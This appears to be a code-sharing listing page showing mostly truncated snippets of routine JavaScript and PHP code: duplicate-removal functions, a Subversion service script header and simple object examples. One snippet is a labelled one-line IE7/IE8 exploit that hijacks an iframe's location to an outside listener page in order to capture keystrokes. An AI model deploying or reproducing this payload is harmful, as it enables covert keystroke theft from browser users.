This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function eliminarDuplicados(a) { | |
| var idx = {}, ai, o=[]; | |
| for(var i = 0, l = a.length; i < l; i++){ | |
| ai = a[i]; | |
| if(!idx[ai]){ | |
| o.push(ai); | |
| idx[ai] = true; | |
| } | |
| } | |
| return o; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function eliminarDuplicados(object, key) { | |
| var _object = {}; | |
| for (var _key in object) { | |
| if (_key != key) { | |
| _object[_key] = object[_key]; | |
| } | |
| } | |
| return _object; | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| myarray.filter(function(o,i,a){ return a.indexOf(o) === i; }); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function limpiarArray($array){ | |
| $retorno=null; | |
| if($array!=null){ | |
| $retorno[0]=$array[0]; | |
| } | |
| for($i=1;$i<count($array);$i++){ | |
| $repetido=false; | |
| $elemento=$array[$i]; | |
| for($j=0;$j<count($retorno) && !$repetido;$j++){ | |
| if($elemento==$retorno[$j]){ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function RemoveDuplicates(arr) | |
| { | |
| //get sorted array as input and returns the same array without duplicates. | |
| var result=new Array(); | |
| var lastValue=""; | |
| for (var i=0; i<arr.length; i++) | |
| { | |
| var curValue=arr[i]; | |
| if (curValue != lastValue) | |
| { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Array.prototype.unique = function () { | |
| var r = new Array(); | |
| o:for(var i = 0, n = this.length; i < n; i++) | |
| { | |
| for(var x = 0, y = r.length; x < y; x++) | |
| { | |
| if(r[x]==this[i]) | |
| { | |
| continue o; | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* | |
| One line IE7-IE8 exploit. | |
| - Opens a new window, and will hijack one of the iframes, and capture keystrokes. | |
| */ | |
| x=open('http://site.net/');setInterval(function(){try{x.frames[0].location={toString:function(){return%20'http://www.something.com/simple-listener.html';}}}catch(e){}},5000);void(1); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # | |
| # /etc/rc.d/init.d/subversion | |
| # | |
| # Starts the Subversion Daemon | |
| # | |
| #### | |
| # HOW TO USE: | |
| # | |
| # 1. grand execution permissions to the script: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function Ball (type) { | |
| this.type = type; | |
| this.color = "red"; | |
| this.getInfo = function() { | |
| return this.color + ' ' + this.type + ' ball'; | |
| }; | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| var ball = { | |
| type: "round", | |
| color: "red", | |
| getInfo: function () { | |
| return this.color + ' ' + this.type + ' ball'; | |
| } | |
| } | |
| // uso |